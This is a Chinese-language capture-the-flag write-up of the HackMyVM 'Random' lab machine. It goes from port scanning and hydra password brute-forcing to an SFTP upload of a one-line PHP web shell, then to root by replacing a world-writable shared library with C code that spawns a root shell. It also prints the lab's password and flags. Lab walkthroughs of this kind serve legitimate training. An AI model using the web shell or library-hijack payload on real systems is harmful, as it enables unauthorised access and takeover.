15.Random

1. 基本信息^toc

靶机链接:https://hackmyvm.eu/machines/machine.php?vm=Random
作者:sml
难度:⭐️⭐️⭐️
知识点:动态链接库替换

2. 信息收集

┌──(root㉿kali)-[/home/kali/hmv/random]
└─# nmap 192.168.9.17 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-13 19:38 CST
Nmap scan report for 192.168.9.17
Host is up (0.00040s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:88:4C:D2 (Oracle VirtualBox virtual NIC)

首页

...

获取到两个用户

alan 
eleanor

目录扫描 啥都没有

...

...

3. FTP

匿名登录发现进不来目录

...

尝试用另外两个用户登录

hydra爆破试试

他说alan不能ssh登录

那么eleanor 用户可以ssh

爆破eleanor用户

这爆破出用户eleanor 的ftp密码是 ladybug

但权限只有读。

所以无法上传马儿

4. SFTP

尝试用这个密码ssh上去

失败了

ssh eleanor@192.168.9.17
eleanor@192.168.9.17's password:
This service allows sftp connections only.
Connection to 192.168.9.17 closed.

但告诉我们允许sftp链接

sftp eleanor@192.168.9.17

用sftp连接上来就可以上传文件了

直接上传一个马儿

<?php system($\_POST['cmd']);
echo ok;?>

...

5. 提权 -动态链接库替换

上来后基本命令检测没有利用的

我们之前不让用密码进行ssh登录

但是可以用密码切换用户

su eleanor
eleanor@random:/home/eleanor$ cat note.txt
alan disabled my access via SSH but not my account.
He is a bad admin!
-eleanor
eleanor@random:/home/eleanor$ cat user.txt
ihavethapowah
eleanor@random:/home/eleanor$

近用户目录发现 random可以被执

直接下下来分析

...

...

就是检测以当前时间为种子的随机数的0-9的余数能不能与我们输入的值相等

我们只要一直输入0-9之间的数,总可以匹配上

...

回去看一下发现makemeroot函数没有写执行代码,直接return自己了

...

可能是调用了本地的动态链接库

ldd random
eleanor@random:/home/alan$ ldd random
        linux-vdso.so.1 (0x00007ffc0a3e5000)
        librooter.so => /lib/librooter.so (0x00007f7bcafa1000)
        libc.so.6 => /lib/x86\_64-linux-gnu/libc.so.6 (0x00007f7bcade0000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f7bcafb2000)

而且/lib/librooter.so链接库是可写的

eleanor@random:/home/alan$ ls /lib/librooter.so -la
-rwxrwxrwx 1 root root 15984 Oct 19  2020 /lib/librooter.so

直接替换掉

#include <stdlib.h>

void makemeroot()
{
        setuid(0);
        setgid(0);
        system("/bin/bash");
}

本地编译好后传上去替换即可

然后运行即可获取root

howiarrivedhere